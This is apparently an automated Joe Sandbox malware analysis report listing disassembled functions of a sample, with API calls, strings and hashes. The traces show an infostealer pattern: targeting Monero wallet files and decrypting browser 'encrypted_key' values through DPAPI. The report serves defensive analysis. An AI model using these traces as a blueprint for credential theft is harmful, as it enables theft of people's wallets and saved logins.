Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5b48c29d077cef8da632719f57594d3369ca46d6c945fe0a67526befcdaeb12d
Instruction ID: 46b2f46761991769b07c104a2fe8d35978d4126567ec20d346ba6fb82e8eb331
Opcode Fuzzy Hash: 5b48c29d077cef8da632719f57594d3369ca46d6c945fe0a67526befcdaeb12d
Instruction Fuzzy Hash: 100136B9A40209BBDB14DFD0E849FAEB7BCEF48B01F008169FA1697284D6759A418F50

Function 00F1C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00F1C8EC
___crtLCMapStringA.LIBCMT ref: 00F1C90C
___crtLCMapStringA.LIBCMT ref: 00F1C931

Strings

, xrefs: 00F1C896

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: b54bd4563492e6aae610e5dbe63dc92fd7fd7cc091db3b66282d0137d63c1053
Instruction ID: 1f353fc85b0b7753cb041c76bf62ae7a541f39699c48bc153242f885ae2549cb
Opcode Fuzzy Hash: b54bd4563492e6aae610e5dbe63dc92fd7fd7cc091db3b66282d0137d63c1053
Instruction Fuzzy Hash: EF41077154075C9EDB218B24CC84FFB7FF89F45714F5444E8E9CA86182D2719A84EFA4

Function 00F16630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00F16663

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

ShellExecuteEx.SHELL32(0000003C), ref: 00F16726
ExitProcess.KERNEL32 ref: 00F16755

Strings

<, xrefs: 00F166D9

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 70e8b5cc85774465d93c81ccfb2ebcc885037bbf5c652a6082c6321c9d1d9812
Instruction ID: 4ef508cbf403d7ea834a58f77b55a5b32eb76544c5df942d6f0a102bc8c987cd
Opcode Fuzzy Hash: 70e8b5cc85774465d93c81ccfb2ebcc885037bbf5c652a6082c6321c9d1d9812
Instruction Fuzzy Hash: 8E314DB1C01218ABDB14EB90DD91FDE7778AF04710F804198F21667181DF786B89DF55

Function 00F187C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F20E28,00000000,?), ref: 00F1882F
RtlAllocateHeap.NTDLL(00000000), ref: 00F18836
wsprintfA.USER32 ref: 00F18850

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Strings

%dx%d, xrefs: 00F18847

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 242b2a8b9d6344fbe893bf834a03fb3eeeb104d778028250289549fe397539cb
Instruction ID: 879c11a0affde444d68c6483d10cb42c581e05b36406dc4857182675aed5f540
Opcode Fuzzy Hash: 242b2a8b9d6344fbe893bf834a03fb3eeeb104d778028250289549fe397539cb
Instruction Fuzzy Hash: 9A21A5B5A80204AFDB14DF94ED45FAEBBB8FF48B01F104118F616A7284C7799941CBA0

Function 00F18D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00F1951E,00000000), ref: 00F18D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00F18D62
wsprintfW.USER32 ref: 00F18D78

Strings

%hs, xrefs: 00F18D6F

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 69ea938fb5896ef15950b681c81c858d49a04a3656aeb9636d3477c431a96d36
Instruction ID: ac61f5692d9e03bbadc998cc3b28e9d01c973e601d1c27baa7c0a968ab2a3493
Opcode Fuzzy Hash: 69ea938fb5896ef15950b681c81c858d49a04a3656aeb9636d3477c431a96d36
Instruction Fuzzy Hash: 1EE0E675A80209BBD724DB94E909E5977B8EF44B02F004164FD0A97244D9719E509B55

Function 00F0A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F18B60: GetSystemTime.KERNEL32(00F20E1A,008AAD30,00F205AE,?,?,00F013F9,?,0000001A,00F20E1A,00000000,?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F18B86

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F0A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00F0A3FF
lstrlen.KERNEL32(00000000), ref: 00F0A6BC

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

DeleteFileA.KERNEL32(00000000), ref: 00F0A743

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: f0891e640c27a5e8cccdf5da07f9e91f26427a4d66761f051455b95b1ac2393f
Instruction ID: 3f9944420e8422c6ecb35aae6363cd3cf2847edc7844b03c670b6cd1ad1fa7b7
Opcode Fuzzy Hash: f0891e640c27a5e8cccdf5da07f9e91f26427a4d66761f051455b95b1ac2393f
Instruction Fuzzy Hash: BBE136728111089BDB15FBA4DD91EEE733CAF14310F508169F51772091EF386A8EDB62

Function 00F0D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F18B60: GetSystemTime.KERNEL32(00F20E1A,008AAD30,00F205AE,?,?,00F013F9,?,0000001A,00F20E1A,00000000,?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F18B86

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F0D481
lstrlen.KERNEL32(00000000), ref: 00F0D698
lstrlen.KERNEL32(00000000), ref: 00F0D6AC
DeleteFileA.KERNEL32(00000000), ref: 00F0D72B

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 49055be967160f2748e724119ab9b13ce2a036d64b5fb0e15dbf8b5412d8f19e
Instruction ID: 65f2f1fa50700fdd748b4f9e7280093856083e76cd536bef6aaf1257512ed191
Opcode Fuzzy Hash: 49055be967160f2748e724119ab9b13ce2a036d64b5fb0e15dbf8b5412d8f19e
Instruction Fuzzy Hash: 1B9138728111089BDB14FBA0DD52DEE7338AF54320F504169F517B7091EF396A8AEB62

Function 00F0D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F18B60: GetSystemTime.KERNEL32(00F20E1A,008AAD30,00F205AE,?,?,00F013F9,?,0000001A,00F20E1A,00000000,?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F18B86

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F0D801
lstrlen.KERNEL32(00000000), ref: 00F0D99F
lstrlen.KERNEL32(00000000), ref: 00F0D9B3
DeleteFileA.KERNEL32(00000000), ref: 00F0DA32

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a87d8baa5f3e930048d561a09de966011e0f5cb63d182affc33f548986233139
Instruction ID: dcbf6059fc160eac03481dbbe6028b541ad51b9939be6fbb1362f2183fe6c9c9
Opcode Fuzzy Hash: a87d8baa5f3e930048d561a09de966011e0f5cb63d182affc33f548986233139
Instruction Fuzzy Hash: 798145729511089BDB18FBA0DD52DEE7338BF54320F504128F417A70D1EF396A8AEB62

Function 00F13560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: cce39353c9ff0bdacc09ab5ed7fb00fea89ea07ab8538924e375442829c239ed
Instruction ID: 5dc67c511267931465b9874cad194d22504e09fc58c78bcbd16fa912e8900fa5
Opcode Fuzzy Hash: cce39353c9ff0bdacc09ab5ed7fb00fea89ea07ab8538924e375442829c239ed
Instruction Fuzzy Hash: 9F4141B1D10109ABCB04EFA4DD45EEEB778EF54714F008018F41677281EB399A85EFA2

Function 00F09CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F099EC
Part of subcall function 00F099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F09A11
Part of subcall function 00F099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F09A31
Part of subcall function 00F099C0: ReadFile.KERNEL32(000000FF,?,00000000,00F0148F,00000000), ref: 00F09A5A
Part of subcall function 00F099C0: LocalFree.KERNEL32(00F0148F), ref: 00F09A90
Part of subcall function 00F099C0: CloseHandle.KERNEL32(000000FF), ref: 00F09A9A

Part of subcall function 00F18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F18E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00F09D39

Part of subcall function 00F09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F04EEE,00000000,00000000), ref: 00F09AEF
Part of subcall function 00F09AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00F04EEE,00000000,?), ref: 00F09B01
Part of subcall function 00F09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F04EEE,00000000,00000000), ref: 00F09B2A
Part of subcall function 00F09AC0: LocalFree.KERNEL32(?,?,?,?,00F04EEE,00000000,?), ref: 00F09B3F

Part of subcall function 00F09B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00F09B84
Part of subcall function 00F09B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00F09BA3
Part of subcall function 00F09B60: LocalFree.KERNEL32(?), ref: 00F09BD3

Strings

DPAPI, xrefs: 00F09D89
"encrypted_key":", xrefs: 00F09D30
, xrefs: 00F09DC1

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 8962a82e0cdcb7cf5e895c1fb1351e79d00f84ab970ee9238d761663922de62b
Instruction ID: 865c9d60f088b4e68967bd5ebd00bd0fda08aa81ddeee535e58b630197657a53
Opcode Fuzzy Hash: 8962a82e0cdcb7cf5e895c1fb1351e79d00f84ab970ee9238d761663922de62b
Instruction Fuzzy Hash: 003181B5D01109ABCF04EFE4DC85AEFB7B9BF48300F144518E911A7282F7749A04EBA1

Function 00F192E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00F13AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00F13AEE,?), ref: 00F192FC
GetFileSizeEx.KERNEL32(000000FF,00F13AEE), ref: 00F19319
CloseHandle.KERNEL32(000000FF), ref: 00F19327

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

